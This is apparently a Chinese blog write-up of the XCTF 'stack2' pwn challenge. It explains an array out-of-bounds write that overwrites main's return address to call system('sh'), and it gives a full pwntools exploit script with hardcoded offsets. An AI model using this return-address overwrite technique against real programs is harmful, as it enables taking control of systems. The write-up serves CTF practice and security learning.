攻防世界pwn-stack2


完成于2023年8月2日

最后修改于2023年9月4日

checksec检查

有栈保护

程序主体是一个计算平均数的计算器,存在漏洞的点是数组越界,没有对数组下标进行限制,所有可以对任意地址进行修改

该程序中存在system("/bin/bash),所以可以利用数组越界去修改函数返回地址,来getshell。
只要得到main函数的返回地址在栈中与数组的偏移就可以进行修改。

在ida中查看main函数的stack,数组距离main返回地址的偏移为0x70+4 -> 0x74(==好像和canary有关==)
在调试过程中,确定main函数的返回地址与数据首地址的偏移。

确定偏移后,就可以利用了,但是在本题中无法直接使用system('/bin/sh'),需要重新构造一下。

可以把/bin/bash截断,将sh传给system利用

sh从87开始
system 可以直接利用call system的地址,也就是0x080485B4
完整exp如下

from pwn import*

context.log_level = 'debug'

# sh = process("./stack2")

sh.recvuntil("How many numbers you have:")
sh.sendline(b'1')
sh.recvuntil("Give me your number")
sh.sendline(b'1')

def change(addr, num):
    sh.recvuntil("5. exit")
    sh.sendline(b'3')
    sh.recvuntil("which number to change")
    sh.sendline(str(addr))
    sh.recvuntil("new number:")
    sh.sendline(str(num))

change(0x84, 0xB4)
change(0x85, 0x85)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x88, 0x87)
change(0x89, 0x89)
change(0x8a, 0x04)
change(0x8b, 0x08)

sh.sendline(b'5')
sh.interactive()

文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论